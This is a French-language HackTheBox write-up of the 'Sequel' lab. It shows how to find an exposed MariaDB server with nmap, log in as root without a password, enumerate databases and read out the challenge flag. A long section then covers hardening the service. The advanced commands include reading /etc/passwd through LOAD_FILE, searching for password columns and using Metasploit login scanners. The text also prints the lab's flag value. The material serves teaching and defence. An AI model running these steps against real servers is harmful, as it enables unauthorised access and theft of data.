HackTheBox Writeup

Sequel

Très facileLinuxmysqlmariadbdatabaseenumerationmisconfiguration

Navigation et énumération de bases de données MySQL/MariaDB exposées

Sequel - HackTheBox Starting Point

Informations générales

PropriétéValeur
Difficulté⭐ Très facile
OSLinux
CatégorieStarting Point - Tier 1
CompétencesMySQL/MariaDB, Navigation de bases de données, Énumération SQL
Auteurs0ne-nine9, ilinor

Vue d'ensemble

Sequel est un challenge axé sur la navigation et l'énumération de bases de données. Contrairement au challenge Appointment qui exploitait une injection SQL via une application web, ici nous accédons directement au service de base de données MySQL/MariaDB exposé publiquement. Ce challenge enseigne :

  • Les bases de MySQL et MariaDB
  • La connexion directe aux services de bases de données
  • Les commandes SQL essentielles pour l'énumération
  • L'exploitation de mauvaises configurations (authentification sans mot de passe)
  • La navigation dans les bases, tables et données

Comprendre les bases de données relationnelles

Pourquoi les bases de données ?

Les serveurs web et applications utilisent des bases de données pour stocker et organiser les données de manière structurée et facilement accessible :

  • Données utilisateurs : Comptes, mots de passe, profils
  • Contenu : Articles, posts, messages, commentaires
  • Métadonnées : Dates d'inscription, historique de connexions, adresses IP
  • Données transactionnelles : Commandes, paiements, historiques

Hiérarchie des bases de données SQL

MySQL/MariaDB Server
    │
    ├── Database 1: "webapp"
    │     │
    │     ├── Table 1: "users"
    │     │     ├── Colonnes: id, username, password, email
    │     │     └── Lignes:
    │     │           Row 1: 1, "admin", "hash...", "[email protected]"
    │     │           Row 2: 2, "user", "hash...", "[email protected]"
    │     │
    │     ├── Table 2: "products"
    │     │     ├── Colonnes: id, name, price, description
    │     │     └── Lignes: données des produits
    │     │
    │     └── Table 3: "orders"
    │           ├── Colonnes: id, user_id, product_id, date, amount
    │           └── Lignes: données des commandes
    │
    ├── Database 2: "analytics"
    │     └── Tables: logs, statistics, metrics
    │
    └── Database 3: "internal"
          └── Tables: config, flags, secrets

Modèle des données SQL

┌─────────────────────────────────────────────────────────┐
│                      SQL Service                        │
│                   (MySQL / MariaDB)                     │
└───────────────────────────┬─────────────────────────────┘
                            │
        ┌───────────────────┼───────────────────┐
        │                   │                   │
   ┌────▼─────┐       ┌────▼─────┐       ┌────▼─────┐
   │Database 1│       │Database 2│       │Database 3│
   │  "htb"   │       │  "mysql" │       │  "sys"   │
   └────┬─────┘       └──────────┘       └──────────┘
        │
   ┌────┼─────┐
   │         │
┌──▼──┐   ┌──▼──┐
│Table│   │Table│
│"config"│   │"users"│
└──┬──┘   └──┬──┘
   │         │
   │         └─ Rows: 1, 2, 3...
   │
   └─ Columns & Rows:
      ┌────┬──────────────┬──────────────────────────┐
      │ id │     name     │          value           │
      ├────┼──────────────┼──────────────────────────┤
      │ 1  │ timeout      │ 60s                      │
      │ 2  │ security     │ default                  │
      │ 5  │ flag         │ 7b4bec00d1a39e3dd4e02... │
      └────┴──────────────┴──────────────────────────┘

Séparation des données par contexte

Dans une application web typique avec e-commerce et réseau social :

Base de données 1 : Informations privées utilisateurs

  • Email, géolocalisation, historique de connexions
  • Adresses IP, noms réels, informations de carte bancaire
  • Accès restreint : Admins uniquement

Base de données 2 : Informations publiques

  • Produits, services, musiques, vidéos
  • Descriptions, prix, reviews
  • Accès public : Tous les utilisateurs

Isolation de sécurité :

  • Les permissions SQL empêchent l'accès inter-bases
  • Un utilisateur lambda ne devrait jamais accéder aux données privées
  • Problème : Si mal configuré, toutes les données deviennent accessibles

MySQL vs MariaDB

Qu'est-ce que MySQL ?

MySQL est un système de gestion de base de données relationnelle (SGBDR) open-source :

  • Développé initialement par MySQL AB (1995)
  • Racheté par Sun Microsystems (2008), puis Oracle Corporation (2010)
  • Utilisé par Facebook, Twitter, YouTube, Wikipedia

Qu'est-ce que MariaDB ?

MariaDB est un fork open-source de MySQL créé par les fondateurs originaux de MySQL :

  • Créé en 2009 après le rachat d'Oracle
  • Compatible avec MySQL (drop-in replacement)
  • Utilisé par Google, Red Hat, Debian, Ubuntu

Comparaison

AspectMySQLMariaDB
LicenceGPL (Community) / CommercialGPL v2 (100% open-source)
PropriétaireOracle CorporationMariaDB Foundation
CompatibilitéStandard de factoCompatible MySQL
PerformanceExcellenteLégèrement supérieure
InnovationsConservateurPlus expérimental

Port par défaut

Les deux systèmes utilisent le port 3306/TCP par défaut pour les connexions client-serveur.

Architecture d'accès aux bases de données

Accès via application web (Normal)

┌────────┐        User Search         ┌─────────────────┐
│ Client │ ────────────────────────> │ Web Application │
│        │                            │                 │
│        │                            │  Permissions    │
│        │                            │  Check & Query  │
│        │                            │  Translation    │
│        │                            │                 │
└────────┘                            └────────┬────────┘
                                               │
                                               │ SQL Queries
                                               │ (Authenticated)
                                               ▼
                                      ┌─────────────────┐
                                      │   SQL Service   │
                                      │  (MySQL/MariaDB)│
                                      └─────────────────┘

Flux normal :

  1. L'utilisateur envoie une requête à l'application web
  2. L'application vérifie les permissions utilisateur
  3. L'application traduit la requête en SQL sécurisé
  4. L'application se connecte à la base avec ses propres credentials
  5. Les résultats filtrés sont retournés à l'utilisateur

Accès direct (Challenge Sequel)

┌──────────┐      Direct Connection      ┌─────────────────┐
│ Attacker │ ──────────────────────────> │   SQL Service   │
│          │    mysql -h IP -u root      │  (MySQL/MariaDB)│
│          │    (No password!)           │   Port 3306     │
│          │                              │                 │
│          │ <─────── Full Access ────── │   No firewall   │
└──────────┘       All databases!        │   No auth!      │
                                          └─────────────────┘

Problème de sécurité :

  • Le service MySQL est exposé publiquement sur Internet
  • Aucun mot de passe n'est requis pour l'utilisateur root
  • L'attaquant a un accès total à toutes les bases de données

Phase 1 : Énumération

Scan Nmap

Commençons par scanner les ports ouverts :

sudo nmap -sC -sV <TARGET_IP>

Options expliquées :

  • -sC : Script scan (scripts NSE par défaut)
  • -sV : Détection de version des services

Résultat attendu :

Starting Nmap 7.91 at 2021-07-10 14:57 CEST
Nmap scan report for <TARGET_IP>
Host is up (0.069s latency).
Not shown: 999 closed ports

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB-0+deb10u1
| mysql-info:
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 37
|   Capabilities flags: 63486
|   Some Capabilities: FoundRows, ODBCClient, Support41Auth, DontAllowDatabaseTableColumn,
|     LongColumnFlag, SupportsLoadDataLocal, SupportsCompression, ConnectWithDatabase,
|     Speaks41ProtocolOld, IgnoreSigpipes, InteractiveClient, SupportsTransactions,
|     SupportsMultipleStatements, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: |ixAwV5;j'|aQNy'2r0g
|_  Auth Plugin Name: mysql_native_password

Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 2.28 seconds

Analyse des résultats

ÉlémentValeurSignification
Port3306/TCPPort MySQL/MariaDB par défaut
ServicemysqlService de base de données MySQL
VersionMariaDB 10.3.27Version de MariaDB (Debian 10)
CapabilitiesFoundRows, Support41Auth, etc.Fonctionnalités supportées
Auth Pluginmysql_native_passwordMéthode d'authentification

Découverte : Un service MariaDB 10.3.27 est exposé publiquement sur le port 3306.

Qu'est-ce que MySQL/MariaDB expose ?

Le service MySQL/MariaDB est conçu pour la gestion de bases de données :

  • Création de bases de données et tables
  • Modification de structures et données
  • Interrogation (queries) avec le langage SQL
  • Gestion d'utilisateurs et permissions

Risque de sécurité :

  • Exposition publique = Accessible depuis Internet
  • Sans authentification = Accès root sans mot de passe
  • Impact potentiel = Compromission totale des données

Phase 2 : Installation du client MySQL

Pourquoi un client MySQL ?

Pour interagir avec le serveur MySQL/MariaDB, nous avons besoin d'un client MySQL sur notre machine locale.

Installation sur Linux

Debian/Ubuntu/Kali/Parrot OS :

sudo apt update && sudo apt install mysql-client

Alternative complète (tous les paquets MySQL) :

sudo apt update && sudo apt install mysql*

Arch Linux :

sudo pacman -S mysql

Fedora/RHEL/CentOS :

sudo dnf install mysql

Vérification de l'installation

mysql --version

Résultat attendu :

mysql  Ver 15.1 Distrib 10.5.10-MariaDB, for debian-linux-gnu (x86_64) using  EditLine wrapper

Aide du client MySQL

Affichons l'aide pour comprendre les options disponibles :

mysql --help

Options principales :

FlagDescriptionExemple
-hHôte cible (hostname ou IP)-h 10.10.10.10
-uNom d'utilisateur-u root
-pDemander le mot de passe-p (prompt interactif)
-DBase de données à utiliser-D htb
-PPort (défaut: 3306)-P 3306
-eExécuter une commande SQL-e "SHOW DATABASES;"

Phase 3 : Connexion au serveur MySQL

Tentative de connexion en tant que root

Le compte root dans MySQL/MariaDB possède les privilèges les plus élevés sur le système :

  • Accès à toutes les bases de données
  • Création/suppression de bases et tables
  • Gestion des utilisateurs et permissions
  • Exécution de commandes système (dans certains cas)

Commande de connexion :

mysql -h <TARGET_IP> -u root

Options expliquées :

  • -h <TARGET_IP> : Connexion à l'hôte distant
  • -u root : Authentification en tant qu'utilisateur root
  • Pas de -p : Nous testons l'authentification sans mot de passe

Résultat si succès :

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 46
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>

🎉 Succès ! Nous sommes connectés en tant que root sans mot de passe.

Pourquoi cette mauvaise configuration existe-t-elle ?

Les administrateurs peuvent intentionnellement désactiver l'authentification pendant :

  • Phase de déploiement : Tests initiaux et configuration rapide
  • Environnements de développement : Faciliter le travail des développeurs
  • Oubli : Ne jamais activer la sécurité en production

Conséquence : Instance MySQL accessible publiquement sans authentification = Compromission totale

Phase 4 : Navigation dans la base de données

Commandes SQL essentielles

CommandeDescriptionÉquivalent Linux
SHOW DATABASES;Liste les bases de données accessiblesls /
USE <database>;Sélectionne une base de donnéescd /path
SHOW TABLES;Liste les tables de la base actuellels
SELECT * FROM <table>;Affiche toutes les données d'une tablecat file
DESCRIBE <table>;Décrit la structure d'une tablefile info
exit ou quitQuitte le shell MySQLexit

⚠️ Important : Toutes les commandes SQL doivent se terminer par un point-virgule (;).

Référence cheatsheet

Pour plus de commandes SQL, consultez :

Phase 5 : Énumération des bases de données

Lister les bases de données

Depuis le prompt MariaDB, exécutons :

SHOW DATABASES;

Résultat attendu :

+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
4 rows in set (0.066 sec)

Description des bases de données

Base de donnéesTypeDescription
htbPersonnaliséeBase de données du challenge (contient le flag)
information_schemaSystèmeMétadonnées sur toutes les bases (structure, tables, colonnes)
mysqlSystèmeUtilisateurs, permissions, configuration MySQL
performance_schemaSystèmeMétriques de performance du serveur

🎯 Cible identifiée : La base htb semble être celle du challenge.

Phase 6 : Sélection de la base de données

Utiliser la base "htb"

Pour interagir avec une base de données spécifique, utilisons la commande USE :

USE htb;

Résultat :

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [htb]>

✅ Le prompt affiche maintenant [htb] indiquant que nous sommes dans la base htb.

Lister les tables

Maintenant que nous sommes dans la base htb, listons ses tables :

SHOW TABLES;

Résultat :

+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+
2 rows in set (0.062 sec)

Description des tables trouvées

TableContenu probable
config✅ Configuration du système (settings, flags, secrets)
usersInformations utilisateurs (usernames, passwords, emails)

🎯 La table config semble prometteuse pour trouver le flag.

Phase 7 : Extraction des données

Interroger la table "config"

Utilisons la commande SELECT pour extraire toutes les données de la table config :

SELECT * FROM config;

Syntaxe expliquée :

  • SELECT : Commande de sélection de données
  • * : Wildcard = toutes les colonnes
  • FROM config : Depuis la table nommée config
  • ; : Fin de la commande SQL

Résultat :

+----+----------------------+----------------------------------+
| id | name                 | value                            |
+----+----------------------+----------------------------------+
|  1 | timeout              | 60s                              |
|  2 | security             | default                          |
|  3 | auto_logon           | false                            |
|  4 | max_size             | 2M                               |
|  5 | flag                 | 7b4bec00d1a39e3dd4e021ec3d915da8 |
|  6 | enable_uploads       | false                            |
|  7 | authentication_method| radius                           |
+----+----------------------+----------------------------------+
7 rows in set (0.062 sec)

🎉 Flag trouvé ! Ligne 5 : 7b4bec00d1a39e3dd4e021ec3d915da8

Interroger la table "users" (Bonus)

Par curiosité, vérifions aussi la table users :

SELECT * FROM users;

Résultat possible :

+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
|  1 | admin    | p@ssw0rd123      |
|  2 | john     | john1990         |
|  3 | sarah    | sarah_pw         |
+----+----------+------------------+

💡 Dans un test de pénétration réel, ces credentials pourraient être utilisés pour :

  • Accéder à d'autres services (SSH, FTP, Web)
  • Effectuer du credential stuffing
  • Comprendre les patterns de mots de passe

Quitter MySQL

Pour sortir du shell MySQL :

exit

ou

quit

Concepts clés appris

1. Architecture des bases de données relationnelles

  • Hiérarchie : Service → Databases → Tables → Columns/Rows
  • Séparation logique : Différentes bases pour différents usages
  • Structure organisée : Données stockées dans des tables avec colonnes typées

2. MySQL vs MariaDB

  • MariaDB = Fork open-source de MySQL (compatible)
  • Port standard : 3306/TCP
  • Usage : Stockage de données pour applications web

3. Mauvaises configurations critiques

  • Pas d'authentification : Connexion root sans mot de passe
  • Exposition publique : Service accessible depuis Internet
  • Absence de firewall : Aucune restriction réseau

4. Commandes SQL essentielles

CommandeUsage
SHOW DATABASES;Lister les bases de données
USE <db>;Sélectionner une base de données
SHOW TABLES;Lister les tables
SELECT * FROM <table>;Extraire toutes les données
DESCRIBE <table>;Voir la structure d'une table

Commandes récapitulatives

# Scanner les ports avec détection de service
sudo nmap -sC -sV <TARGET_IP>

# Installer le client MySQL
sudo apt update && sudo apt install mysql-client

# Se connecter au serveur MySQL sans mot de passe
mysql -h <TARGET_IP> -u root

# Commandes SQL (dans le shell MySQL)
SHOW DATABASES;                  # Lister les bases de données
USE htb;                         # Sélectionner la base "htb"
SHOW TABLES;                     # Lister les tables
SELECT * FROM config;            # Extraire les données de "config"
SELECT * FROM users;             # Extraire les données de "users"
DESCRIBE config;                 # Voir la structure de "config"
exit                             # Quitter MySQL

Protection des bases de données

Ce qu'il NE faut PAS faire

Exposer MySQL/MariaDB sur Internet sans firewallAutoriser l'authentification root sans mot de passeUtiliser des mots de passe faibles pour les comptes privilégiésLaisser les ports par défaut (3306) ouverts publiquementNe pas limiter les adresses IP autorisées

Configuration sécurisée MySQL/MariaDB

1. Désactiver l'accès root distant

Éditez /etc/mysql/mariadb.conf.d/50-server.cnf :

[mysqld]
# Écouter uniquement sur localhost
bind-address = 127.0.0.1

# Ou sur une interface privée spécifique
# bind-address = 192.168.1.10

Redémarrez le service :

sudo systemctl restart mariadb

2. Créer des mots de passe forts

Définir un mot de passe pour root :

ALTER USER 'root'@'localhost' IDENTIFIED BY 'VotreMotDePasseTresComplexeIci123!@#';
FLUSH PRIVILEGES;

Supprimer les comptes sans mot de passe :

SELECT User, Host FROM mysql.user WHERE Password = '';
DROP USER ''@'localhost';
FLUSH PRIVILEGES;

3. Limiter les privilèges utilisateurs

Créer un utilisateur avec permissions limitées :

-- Créer un utilisateur pour l'application web
CREATE USER 'webapp'@'192.168.1.%' IDENTIFIED BY 'strong_password_here';

-- Accorder uniquement SELECT, INSERT, UPDATE sur une base spécifique
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'192.168.1.%';

-- Refuser DELETE et DROP
REVOKE DELETE, DROP ON webapp_db.* FROM 'webapp'@'192.168.1.%';

-- Appliquer les changements
FLUSH PRIVILEGES;

4. Supprimer les bases de test

Supprimer la base "test" (souvent présente par défaut) :

DROP DATABASE IF EXISTS test;

5. Configuration du firewall

UFW (Ubuntu/Debian) :

# Bloquer le port 3306 depuis Internet
sudo ufw deny 3306/tcp

# Autoriser uniquement depuis le serveur web (IP 192.168.1.50)
sudo ufw allow from 192.168.1.50 to any port 3306

iptables :

# Bloquer tout accès au port 3306
iptables -A INPUT -p tcp --dport 3306 -j DROP

# Autoriser depuis une IP spécifique
iptables -A INPUT -p tcp -s 192.168.1.50 --dport 3306 -j ACCEPT

6. Chiffrement SSL/TLS

Activer SSL pour les connexions MySQL :

1. Générer des certificats SSL :

sudo mysql_ssl_rsa_setup --uid=mysql

2. Configurer MySQL pour exiger SSL :

Éditez /etc/mysql/mariadb.conf.d/50-server.cnf :

[mysqld]
require_secure_transport = ON
ssl-ca=/var/lib/mysql/ca.pem
ssl-cert=/var/lib/mysql/server-cert.pem
ssl-key=/var/lib/mysql/server-key.pem

3. Redémarrez le service :

sudo systemctl restart mariadb

7. Audit et logging

Activer les logs de requêtes :

Éditez /etc/mysql/mariadb.conf.d/50-server.cnf :

[mysqld]
# Log des requêtes générales
general_log = 1
general_log_file = /var/log/mysql/mysql.log

# Log des requêtes lentes
slow_query_log = 1
slow_query_log_file = /var/log/mysql/mysql-slow.log
long_query_time = 2

8. Script de sécurisation automatique

MySQL/MariaDB propose un script de sécurisation :

sudo mysql_secure_installation

Ce script permet de :

  • Définir un mot de passe root
  • Supprimer les utilisateurs anonymes
  • Désactiver le login root distant
  • Supprimer la base de données test
  • Recharger les tables de privilèges

Checklist de sécurité

Mot de passe fort pour root et tous les comptesbind-address = 127.0.0.1 (écoute localhost uniquement)Firewall restrictif (whitelist d'IPs)Principe du moindre privilège (permissions minimales)Supprimer les bases et utilisateurs de testActiver SSL/TLS pour les connexionsLogging et monitoring activésMises à jour régulières du serveur MySQL/MariaDBDésactiver les fonctionnalités dangereuses (LOAD DATA LOCAL, etc.)

Pour aller plus loin

Ressources recommandées

Outils d'énumération MySQL

  • mysql-client : Client officiel en ligne de commande

    mysql -h target -u root -p
    
  • MySQL Workbench : Interface graphique officielle MySQL

  • DBeaver : Client SQL universel (GUI)

  • Nmap NSE scripts : Scripts d'énumération MySQL

    nmap -p 3306 --script mysql-* target
    
  • Metasploit modules : Exploitation et énumération MySQL

    use auxiliary/scanner/mysql/mysql_login
    use auxiliary/admin/mysql/mysql_enum
    

Commandes SQL avancées

1. Énumération d'utilisateurs MySQL

-- Lister tous les utilisateurs
SELECT User, Host, authentication_string FROM mysql.user;

-- Voir les privilèges d'un utilisateur
SHOW GRANTS FOR 'root'@'localhost';

2. Énumération de structure de base

-- Lister toutes les colonnes d'une table
SHOW COLUMNS FROM users;

-- Équivalent avec DESCRIBE
DESCRIBE users;

-- Lister les index d'une table
SHOW INDEX FROM users;

3. Recherche de données sensibles

-- Rechercher dans toutes les colonnes contenant "password"
SELECT table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%password%';

-- Rechercher "flag" dans toutes les tables
SELECT table_name, column_name
FROM information_schema.columns
WHERE column_name LIKE '%flag%';

4. Extraction de configuration MySQL

-- Version MySQL/MariaDB
SELECT VERSION();

-- Utilisateur actuel
SELECT USER();

-- Base de données actuelle
SELECT DATABASE();

-- Variables de configuration
SHOW VARIABLES LIKE '%version%';
SHOW VARIABLES LIKE '%datadir%';

5. Lecture de fichiers système (si permissions)

-- Lire /etc/passwd (nécessite FILE privilege)
SELECT LOAD_FILE('/etc/passwd');

-- Lister les fichiers (MySQL >= 5.7)
SELECT * FROM performance_schema.file_instances;

⚠️ Attention : Ces commandes nécessitent des privilèges élevés et peuvent être détectées par les systèmes de monitoring.

Défis HackTheBox associés

Continuez votre apprentissage avec ces challenges :

  • Appointment (Tier 1) : Injection SQL via application web
  • Crocodile (Tier 1) : Énumération FTP et web combinée
  • Markup (Easy) : Exploitation XML et credentials
  • Vaccine (Easy) : SQLi avec escalade de privilèges

Questions de révision

  1. Quelle est la différence entre MySQL et MariaDB ?
  2. Quel est le port par défaut de MySQL/MariaDB ?
  3. Quelle commande SQL permet de lister les bases de données ?
  4. Quelle est la hiérarchie d'une base de données relationnelle ?
  5. Pourquoi est-il dangereux d'exposer MySQL sur Internet sans authentification ?
  6. Quelle commande permet de sélectionner une base de données ?
  7. Comment quitter le shell MySQL ?
  8. Que signifie le point-virgule (;) en SQL ?

Félicitations ! Vous avez maîtrisé les bases de la navigation dans les bases de données MySQL/MariaDB et compris l'importance de sécuriser correctement ces services. L'énumération de bases de données est une compétence essentielle en pentest. 🎯


Write-up rédigé à des fins éducatives. Pratique autorisée uniquement sur des systèmes dont vous avez l'autorisation.